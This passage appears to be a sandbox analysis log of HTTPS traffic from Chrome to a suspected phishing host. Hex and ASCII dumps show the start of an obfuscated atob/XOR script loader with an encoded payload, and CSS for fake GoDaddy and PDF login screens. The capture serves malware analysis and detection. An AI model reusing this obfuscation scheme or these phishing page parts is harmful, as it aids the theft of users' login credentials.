laravel_session=eyJpdiI6IlpRcFh1OE9tQjVvZDdTMDFxQ3lzb2c9PSIsInZhbHVlIjoiM2JjRSt0dDlXOERYVmlzRG5Zb0F6a0Z2dGg2c0NNK3RvbEpYRk9BUEY5bFR6ZE1nTm9UYUtKNVc2d1czamVXT1lOODArb05TaGlaQlFIL2hMZjRNNUxPMnRrSFRJVG1uakY2bHhKSkYwRFZTMFdjS2JQR0hHY1VCR3ZXWTJyT0oiLCJtYWMiOiJkNjYwNzZlZTRlODQzNWU2MDJkOWU4OWEwOWU3ODk2NWY3MTk1Yzc0YTQ3MTMxMGFkMTQyYzc0MjAwMzdkNGE1IiwidGFnIjoiIn0%3D
2024-04-23 19:54:06 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MFyLXyGvaSkTDW0LJkpe1ivFrDplIiXlAGHoO2P4DS%2BlwOThQ0y%2BBIycTKKqnhM6mdJZjahsA654Ri3FJGGuQTyx0uB6oV4%2FQc1llH2xaAYy1ks78H%2F%2Ff0%2B%2FQUyK8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; expires=Tue, 23-Apr-2024 21:54:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-04-23 19:54:06 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 4e 73 62 6c 4a 55 61 6a 68 59 55 30 74 4e 51 57 39 6c 5a 46 56 44 63 6b 78 51 59 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 33 64 4c 63 69 39 6e 62 31 70 51 57 57 31 76 53 6a 52 44 56 33 46 72 63 58 6c 72 64 48 52 77 61 55 6b 79 65 48 52 34 4b 30 46 4f 4b 7a 6c 51 53 33 42 76 63 7a 4a 75 51 7a 42 6a 51 32 5a 53 53 58 63 31 63 7a 56 30 4d 6e 56 56 61 30 68 79 4f 54 6c 36 61 30 63 79 59 58 56 6c 4d 55 70 75 54 55 74 70 53 6b 39 53 54 6d 35 44 52 44 4e 7a 64 44 4e 6c 56 48 4e 6d 4f 57 51 76 51 32 74 78 5a 47 4e 44 56 33 46 53 62 48 52 48 64 57 68 50 64 54 45 33 59 30 4e 43 52 6e 42 78 61 48 56 77 59 32 45 76 63 6d 64 4c 63 55 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUo
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 36 37 61 39 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 4a 71 59 4c 63 71 67 4c 42 52 28 78 58 62 4d 73 6a 47 77 59 76 2c 20 6b 69 41 79 77 78 59 42 41 49 29 20 7b 0d 0a 6c 65 74 20 53 46 41 58 7a 56 4d 53 66 78 20 3d 20 27 27 3b 0d 0a 78 58 62 4d 73 6a 47 77 59 76 20 3d 20 61 74 6f 62 28 78 58 62 4d 73 6a 47 77 59 76 29 3b 0d 0a 6c 65 74 20 73 71 76 47 64 4b 6b 72 6e 79 20 3d 20 6b 69 41 79 77 78 59 42 41 49 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 78 58 62 4d 73 6a 47 77 59 76 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 53 46 41 58 7a 56 4d 53 66 78 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 78 58 62 4d 73 6a 47 77 59 76 2e 63 68 61 72 43 Data Ascii: 67a9<script>function JqYLcqgLBR(xXbMsjGwYv, kiAywxYBAI) {let SFAXzVMSfx = '';xXbMsjGwYv = atob(xXbMsjGwYv);let sqvGdKkrny = kiAywxYBAI.length;for (let i = 0; i < xXbMsjGwYv.length; i++) { SFAXzVMSfx += String.fromCharCode(xXbMsjGwYv.charC
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 6d 47 67 67 5a 4d 54 41 6e 41 67 59 5a 50 33 67 4a 41 44 6f 52 4b 68 68 6d 4f 78 77 63 5a 79 49 41 50 6a 6c 2f 41 45 74 32 4b 55 4e 63 65 69 34 68 4a 6b 52 4c 64 6a 78 4a 45 54 31 31 62 43 35 66 42 79 4a 6e 52 77 34 2b 4c 6d 78 6f 55 78 73 35 4f 30 4d 4f 4b 69 45 70 49 56 35 55 64 43 6c 65 44 6a 59 78 49 79 64 46 47 6e 52 32 50 57 74 34 61 47 35 6f 44 41 55 2f 4a 6c 74 42 4b 69 30 69 64 52 49 5a 4a 43 31 63 44 6a 6b 73 62 47 68 59 47 7a 4d 75 44 55 4e 68 65 41 59 63 5a 68 30 36 65 58 55 77 48 79 30 62 48 6d 46 65 59 58 39 58 43 78 63 75 43 53 39 54 44 52 73 41 65 51 63 64 47 54 63 79 42 31 70 30 61 46 45 53 5a 57 6f 6f 4a 31 34 64 64 47 68 45 47 43 67 74 63 32 70 57 42 6a 67 38 48 78 59 33 4c 69 68 36 45 6b 6b 31 4f 6c 38 53 4b 79 63 38 49 56 63 41 4f 48 Data Ascii: mGggZMTAnAgYZP3gJADoRKhhmOxwcZyIAPjl/AEt2KUNcei4hJkRLdjxJET11bC5fByJnRw4+LmxoUxs5O0MOKiEpIV5UdCleDjYxIydFGnR2PWt4aG5oDAU/JltBKi0idRIZJC1cDjksbGhYGzMuDUNheAYcZh06eXUwHy0bHmFeYX9XCxcuCS9TDRsAeQcdGTcyB1p0aFESZWooJ14ddGhEGCgtc2pWBjg8HxY3Lih6Ekk1Ol8SKyc8IVcAOH
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 4a 31 77 47 4a 48 49 51 51 6a 34 75 4b 48 4d 39 59 33 5a 6f 45 45 46 34 61 47 35 6f 45 45 6c 32 61 46 49 4f 4b 69 77 72 4f 67 70 4a 5a 44 68 49 51 53 73 6e 49 69 46 55 53 58 56 34 41 46 64 76 4b 6e 5a 7a 50 57 4e 32 61 42 42 42 65 47 68 75 61 42 42 4a 64 6d 68 41 41 44 77 73 4a 79 5a 58 55 33 5a 39 51 42 6c 34 65 33 34 34 53 46 4a 62 51 68 42 42 65 47 68 75 61 42 42 4a 64 6d 67 51 51 54 34 6e 49 44 77 64 47 6a 38 79 56 56 74 34 65 58 73 34 53 46 4a 62 51 68 42 42 65 47 68 75 61 42 42 4a 64 6d 67 51 51 54 73 39 50 44 74 66 47 32 78 6f 51 41 34 78 4a 6a 6f 74 51 6c 4a 62 51 68 42 42 65 47 68 75 61 42 42 4a 4b 30 55 36 51 58 68 6f 62 6b 55 36 53 58 5a 6f 45 45 46 34 61 47 35 6d 55 68 30 34 63 6c 67 4f 4c 69 30 38 61 45 74 6b 58 47 67 51 51 58 68 6f 62 6d 67 Data Ascii: J1wGJHIQQj4uKHM9Y3ZoEEF4aG5oEEl2aFIOKiwrOgpJZDhIQSsnIiFUSXV4AFdvKnZzPWN2aBBBeGhuaBBJdmhAADwsJyZXU3Z9QBl4e344SFJbQhBBeGhuaBBJdmgQQT4nIDwdGj8yVVt4eXs4SFJbQhBBeGhuaBBJdmgQQTs9PDtfG2xoQA4xJjotQlJbQhBBeGhuaBBJK0U6QXhobkU6SXZoEEF4aG5mUh04clgOLi08aEtkXGgQQXhobmg
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 33 68 6f 62 6d 67 4d 52 69 55 72 51 67 67 6f 50 48 42 46 4f 6c 56 35 49 46 55 41 50 48 5a 44 51 6a 31 6a 61 69 70 66 42 53 46 6f 4c 53 52 52 47 69 56 31 45 68 49 73 4b 54 77 38 58 67 77 68 61 67 35 73 55 6e 51 71 49 55 5a 4a 50 79 77 4e 51 79 73 74 4c 54 78 5a 42 6a 67 37 45 6b 45 37 4a 43 38 37 51 31 52 30 61 67 35 73 55 6d 68 75 61 42 42 56 4a 53 31 54 46 54 45 6e 49 47 68 5a 44 57 74 71 51 77 51 37 50 43 63 6e 58 6a 59 69 4f 6b 6b 49 4e 69 38 36 4a 30 4d 41 4d 53 5a 5a 44 33 70 6f 50 54 78 4a 42 54 4e 31 45 67 41 32 49 53 4d 70 52 41 41 35 4a 67 6f 53 4d 43 63 35 5a 56 59 62 4f 53 55 64 45 7a 45 76 4a 6a 77 51 57 58 68 39 51 31 70 36 61 43 30 6b 55 52 6f 6c 64 52 4a 44 5a 6b 56 45 61 42 42 4a 64 6d 67 51 51 58 68 30 4b 69 46 47 53 54 55 6b 55 52 49 72 Data Ascii: 3hobmgMRiUrQggoPHBFOlV5IFUAPHZDQj1jaipfBSFoLSRRGiV1EhIsKTw8Xgwhag5sUnQqIUZJPywNQystLTxZBjg7EkE7JC87Q1R0ag5sUmhuaBBVJS1TFTEnIGhZDWtqQwQ7PCcnXjYiOkkINi86J0MAMSZZD3poPTxJBTN1EgA2ISMpRAA5JgoSMCc5ZVYbOSUdEzEvJjwQWXh9Q1p6aC0kURoldRJDZkVEaBBJdmgQQXh0KiFGSTUkURIr
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 74 71 56 45 77 32 4a 79 41 74 45 6c 64 62 51 68 42 42 65 47 68 75 61 42 42 4a 61 69 78 5a 46 33 67 72 49 69 6c 44 47 6d 74 71 55 52 51 73 49 47 4d 2f 51 67 67 6d 4f 46 55 54 65 6e 5a 44 51 68 42 4a 64 6d 67 51 51 58 68 6f 62 6d 67 51 53 57 6f 73 57 52 64 34 4b 79 49 70 51 78 70 72 61 6c 77 4f 4f 53 77 6e 4a 6c 64 45 4e 53 64 65 46 54 6b 68 49 43 31 43 53 32 68 46 4f 6b 46 34 61 47 35 6f 45 45 6c 32 61 42 42 42 65 47 68 75 61 42 42 56 4d 69 46 47 51 54 73 6b 4c 7a 74 44 56 48 51 73 58 78 56 31 4c 69 49 6e 55 52 30 2f 4a 6c 64 44 5a 6e 52 68 4c 46 6b 66 61 45 55 36 51 58 68 6f 62 6d 67 51 53 58 5a 6f 45 45 46 34 61 47 35 6f 45 46 55 79 49 55 5a 42 4f 79 51 76 4f 30 4e 55 64 43 78 66 46 58 55 75 49 69 64 52 48 54 38 6d 56 30 4e 6d 64 47 45 73 57 52 39 6f 52 Data Ascii: tqVEw2JyAtEldbQhBBeGhuaBBJaixZF3grIilDGmtqURQsIGM/QggmOFUTenZDQhBJdmgQQXhobmgQSWosWRd4KyIpQxpralwOOSwnJldENSdeFTkhIC1CS2hFOkF4aG5oEEl2aBBBeGhuaBBVMiFGQTskLztDVHQsXxV1LiInUR0/JldDZnRhLFkfaEU6QXhobmgQSXZoEEF4aG5oEFUyIUZBOyQvO0NUdCxfFXUuIidRHT8mV0NmdGEsWR9oR
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 6e 58 52 6f 7a 4b 30 51 49 4e 79 5a 73 64 67 77 5a 64 69 74 63 41 43 73 37 63 32 70 64 43 33 74 35 42 6b 4e 6d 42 69 46 6f 55 51 6f 31 4a 30 55 50 4c 48 64 75 64 46 46 4a 50 6a 70 56 42 32 56 71 62 57 6f 51 44 54 63 38 55 55 77 78 4c 48 4e 71 51 77 41 78 4a 6b 55 52 65 6d 67 68 4a 6c 4d 46 50 79 74 62 58 48 6f 6b 4a 79 5a 62 42 69 59 38 57 51 34 32 4b 79 49 68 55 77 4a 2b 50 46 67 49 4b 32 46 73 61 46 4d 46 4e 7a 74 44 58 48 6f 6b 4a 79 5a 62 53 32 67 4c 51 67 51 35 50 43 74 6f 58 77 63 7a 61 51 78 4f 4f 58 5a 79 5a 30 42 58 61 69 6b 51 41 6a 51 70 50 54 73 4e 53 7a 6f 68 58 67 70 34 4a 53 78 6c 41 56 39 30 61 46 51 41 4c 43 6c 6a 49 56 52 55 64 43 74 52 44 79 77 4a 4c 53 74 56 47 69 55 4a 55 77 49 33 50 53 41 38 45 6b 6b 35 4a 6c 4d 4e 4d 53 73 6c 64 52 Data Ascii: nXRozK0QINyZsdgwZditcACs7c2pdC3t5BkNmBiFoUQo1J0UPLHdudFFJPjpVB2VqbWoQDTc8UUwxLHNqQwAxJkURemghJlMFPytbXHokJyZbBiY8WQ42KyIhUwJ+PFgIK2FsaFMFNztDXHokJyZbS2gLQgQ5PCtoXwczaQxOOXZyZ0BXaikQAjQpPTsNSzohXgp4JSxlAV90aFQALCljIVRUdCtRDywJLStVGiUJUwI3PSA8Ekk5JlMNMSsldR
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 5a 47 63 71 49 55 5a 58 57 30 49 51 51 58 68 6f 62 6d 67 51 53 58 5a 6f 45 45 46 34 61 47 35 6f 44 41 30 2f 50 68 41 43 4e 43 6b 39 4f 77 31 4c 4d 69 64 45 54 44 34 6b 49 53 6c 45 41 44 67 76 45 6c 39 6b 5a 79 6f 68 52 6c 64 62 51 68 42 42 65 47 68 75 61 42 42 4a 64 6d 67 51 51 58 68 6f 62 6d 67 4d 44 54 38 2b 45 41 49 30 4b 54 30 37 44 55 73 79 4a 30 52 4d 50 69 51 68 4b 55 51 41 4f 43 38 53 58 32 52 6e 4b 69 46 47 56 31 74 43 45 45 46 34 61 47 35 6f 45 45 6c 32 61 42 42 42 5a 47 63 71 49 55 5a 58 57 30 49 51 51 58 68 6f 62 6d 67 51 53 58 5a 6f 45 45 46 6b 4c 43 63 2b 45 41 6f 36 4b 55 4d 53 5a 57 6f 39 4c 56 4d 64 50 79 64 65 41 6a 63 6d 4f 69 31 65 48 58 52 32 50 57 74 34 61 47 35 6f 45 45 6c 32 61 42 42 42 65 47 68 79 4c 46 6b 66 64 69 74 63 41 43 73 Data Ascii: ZGcqIUZXW0IQQXhobmgQSXZoEEF4aG5oDA0/PhACNCk9Ow1LMidETD4kISlEADgvEl9kZyohRldbQhBBeGhuaBBJdmgQQXhobmgMDT8+EAI0KT07DUsyJ0RMPiQhKUQAOC8SX2RnKiFGV1tCEEF4aG5oEEl2aBBBZGcqIUZXW0IQQXhobmgQSXZoEEFkLCc+EAo6KUMSZWo9LVMdPydeAjcmOi1eHXR2PWt4aG5oEEl2aBBBeGhyLFkfditcACs
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 32 70 53 46 54 5a 71 62 69 46 55 56 48 51 71 52 41 38 48 4f 79 63 76 45 6c 63 46 49 56 63 50 65 43 45 67 64 42 38 4c 49 7a 78 45 44 6a 5a 32 51 30 49 51 53 58 5a 6f 45 45 46 34 61 47 35 6f 45 45 6c 71 5a 31 51 49 4c 6e 5a 44 51 68 42 4a 64 6d 67 51 51 58 68 6f 63 6d 64 55 41 43 42 32 50 57 74 34 61 47 35 6f 44 45 59 6c 4c 56 4d 56 4d 53 63 67 64 6a 31 6a 57 30 49 51 51 58 68 6f 63 6a 74 56 43 69 49 68 58 77 39 34 49 53 70 31 45 68 6f 7a 4b 30 51 49 4e 79 59 52 4d 56 38 63 4d 69 64 65 46 54 41 70 4f 43 31 52 43 6a 55 74 51 78 4a 36 61 43 30 6b 55 52 6f 6c 64 52 49 46 64 53 59 68 4a 6c 56 4c 61 45 55 36 51 58 68 6f 62 6d 67 51 53 58 5a 30 56 41 67 75 61 43 30 6b 55 52 6f 6c 64 52 49 41 4c 54 77 6d 5a 55 63 62 4e 7a 68 41 42 43 70 71 63 45 55 36 53 58 5a 6f Data Ascii: 2pSFTZqbiFUVHQqRA8HOycvElcFIVcPeCEgdB8LIzxEDjZ2Q0IQSXZoEEF4aG5oEElqZ1QILnZDQhBJdmgQQXhocmdUACB2PWt4aG5oDEYlLVMVMScgdj1jW0IQQXhocjtVCiIhXw94ISp1EhozK0QINyYRMV8cMideFTApOC1RCjUtQxJ6aC0kURoldRIFdSYhJlVLaEU6QXhobmgQSXZ0VAguaC0kURoldRIALTwmZUcbNzhABCpqcEU6SXZo
2024-04-23 19:54:06 UTC	1369	IN	Data Raw: 74 44 41 44 6b 6d 45 42 55 33 61 43 38 72 55 77 77 6c 4f 78 41 56 4d 43 45 39 61 45 49 4d 4a 53 64 46 45 7a 73 74 59 45 55 36 53 58 5a 6f 45 45 46 34 61 47 35 6f 45 45 6c 32 64 42 38 46 4d 54 35 77 52 54 70 4a 64 6d 67 51 51 58 68 6f 62 6d 67 51 53 58 5a 30 56 41 67 75 61 43 30 6b 55 52 6f 6c 64 52 49 59 4e 7a 30 71 4a 31 34 64 50 69 6c 47 42 44 6b 72 4c 53 31 44 47 6a 51 6e 52 42 55 33 4a 57 78 32 50 57 4e 32 61 42 42 42 65 47 68 75 61 42 42 4a 64 6d 67 4d 42 54 45 2b 62 69 74 63 43 43 55 37 44 55 4d 68 4a 7a 73 73 58 77 63 69 49 46 45 58 50 53 6b 74 4b 31 55 61 4a 53 70 66 46 53 77 6e 49 79 64 41 48 54 38 6e 58 6b 45 2b 4a 7a 77 6c 48 51 34 6b 4a 30 55 52 65 6e 5a 44 51 68 42 4a 64 6d 67 51 51 58 68 6f 62 6d 67 51 53 57 6f 70 45 41 55 35 50 43 39 6c 57 Data Ascii: tDADkmEBU3aC8rUwwlOxAVMCE9aEIMJSdFEzstYEU6SXZoEEF4aG5oEEl2dB8FMT5wRTpJdmgQQXhobmgQSXZ0VAguaC0kURoldRIYNz0qJ14dPilGBDkrLS1DGjQnRBU3JWx2PWN2aBBBeGhuaBBJdmgMBTE+bitcCCU7DUMhJzssXwciIFEXPSktK1UaJSpfFSwnIydAHT8nXkE+JzwlHQ4kJ0URenZDQhBJdmgQQXhobmgQSWopEAU5PC9lW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49769	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:06 UTC	1428	OUT	GET /56AdOYKMMLgoJxyRlCwu18915 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:07 UTC	637	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:07 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56AdOYKMMLgoJxyRlCwu18915" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1tdaPVsChjOCJ7Cf2bSuPELGg75NoCV6pH1M%2FfJ7JHgFvHO6GVPCtUEDpi5oKLQWVhLVLfTf8as45KnFyEEsveYLN05fXZDzt4rylwET%2Fi5K%2F41cpNDHZDAgkptywA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906752ac27ade1-ATL
2024-04-23 19:54:07 UTC	732	IN	Data Raw: 33 37 61 31 0d 0a 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e Data Ascii: 37a1*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 77 65 62 73 69 74 65 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 61 7b 63 Data Ascii: ,"Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.websitesections{height:100%;width:100vw;position:relative}#sections_godaddy,#sections_pdf{display:flex;flex-direction:column;height:100vh}#sections_pdf a{c
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 7b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 34 30 70 78 20 34 30 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 31 2e 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 20 6c 64 73 2d 73 70 69 6e 6e 65 72 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 31 2e 31 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 32 29 7b 74 72 61 6e 73 66 6f Data Ascii: %;background:#000}#sections_pdf .lds-spinner div{transform-origin:40px 40px;animation:1.2s linear infinite lds-spinner}#sections_pdf .lds-spinner div:first-child{transform:rotate(0);animation-delay:-1.1s}#sections_pdf .lds-spinner div:nth-child(2){transfo
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 39 32 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 61 64 65 72 62 69 67 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 25 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 61 6c 6c 42 6c 6f 63 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e Data Ascii: :rgba(0,0,0,.192)}#sections_pdf .loaderbig{position:absolute;width:100px;height:100px;margin-top:15%}#sections_pdf .allBlock{position:relative;margin-top:30px;margin-left:auto;margin-right:auto;width:100%;display:flex;justify-content:center;flex-direction
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 33 31 32 35 70 63 20 35 70 78 20 30 20 30 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 6c 6f 67 69 6e 62 6f 78 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 33 2e 37 35 70 74 20 2e 30 35 32 30 38 33 33 33 33 69 6e 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6f 70 74 73 3a 68 6f 76 65 72 2c 2e 62 61 63 6b 3a 68 6f 76 65 72 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e Data Ascii: ems:center;justify-items:center;display:flex;border-radius:.3125pc 5px 0 0}#sections_pdf .login 